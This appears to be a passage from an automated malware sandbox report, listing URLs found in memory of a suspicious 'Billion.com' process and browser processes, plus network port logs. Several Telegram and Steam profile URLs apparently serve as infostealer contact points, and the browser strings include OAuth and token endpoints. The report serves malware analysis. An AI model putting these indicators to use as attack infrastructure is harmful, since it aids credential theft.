Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxAB
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000012.00000002.2811895050.00002780009E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812014272.0000278000A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000012.00000003.2739165122.000027800113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739266755.000027800120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000012.00000002.2812014272.0000278000A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000012.00000002.2808511544.000027800009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000012.00000002.2808543530.00002780000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000012.00000002.2810228742.0000278000561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000012.00000002.2809863625.0000278000478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Billion.com, 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2541281715.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540896451.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3327789976.0000000004110000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2541052285.0000000004391000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: Billion.com, 0000000C.00000002.3333594942.0000000006303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Billion.com, 0000000C.00000002.3333594942.0000000006303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Billion.com, 0000000C.00000003.2540745906.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2541000728.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540769406.0000000004128000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.m
Source: Billion.com, 0000000C.00000002.3326082408.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Billion.com, 0000000C.00000002.3326082408.0000000000E5D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/DW
Source: Billion.com, 0000000C.00000003.2540745906.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2541000728.00000000040A8000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Billion.com, 0000000C.00000003.2540769406.0000000004128000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04
Source: Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael
Source: Billion.com, 0000000C.00000002.3327789976.000000000413C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelm
Source: Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: Billion.com, 0000000C.00000002.3327789976.000000000413C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aels
Source: Billion.com, 0000000C.00000002.3328091669.00000000042DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelt
Source: chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: Billion.com, 0000000C.00000002.3329936932.00000000043DD000.00000040.00001000.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Billion.com, 0000000C.00000002.3328091669.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000006194000.00000004.00000800.00020000.00000000.sdmp, HDJEU3.12.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, 16PP89.12.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000012.00000003.2756652980.00002780002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000012.00000002.2810228742.0000278000561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000012.00000002.2810228742.0000278000561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000012.00000003.2722102002.00002780004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810403378.00002780005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000012.00000002.2811380536.000027800081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000012.00000002.2812984073.0000278000C97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000012.00000002.2816620216.0000278000FC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: content.js.27.dr, content_new.js.27.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000012.00000002.2811380536.000027800081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2813807994.0000278000D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811819315.0000278000984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000012.00000002.2811380536.000027800081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2813807994.0000278000D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811819315.0000278000984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000012.00000002.2809863625.0000278000478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000012.00000002.2809863625.0000278000478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitage.Incoming.ThirdPartyToThirdParty.SameBucketX
Source: chrome.exe, 00000012.00000002.2812095120.0000278000A64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000012.00000003.2756652980.00002780002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000012.00000002.2808273997.0000278000014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000012.00000003.2770867030.00002780016D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2770893240.00002780016DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000012.00000002.2810228742.0000278000561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000012.00000002.2810228742.0000278000561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000012.00000003.2775586059.0000278001C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2775032657.0000278001CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2775950748.0000278001C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2775735731.0000278001C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2820062825.0000278001C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000012.00000003.2775654512.0000278001C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2788157585.0000278000DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2774896977.0000278001CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000012.00000003.2775654512.0000278001C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2788157585.0000278000DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2774896977.0000278001CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: Billion.com, 0000000C.00000002.3333594942.0000000006303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: Billion.com, 0000000C.00000002.3333594942.0000000006303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: Billion.com, 0000000C.00000002.3333594942.0000000006303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: PodcastsTries.exe	String found in binary or memory: https://www.ssl.com/repository0
Source: Billion.com, 0000000C.00000002.3328091669.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000006194000.00000004.00000800.00020000.00000000.sdmp, HDJEU3.12.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000012.00000002.2809276901.00002780002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
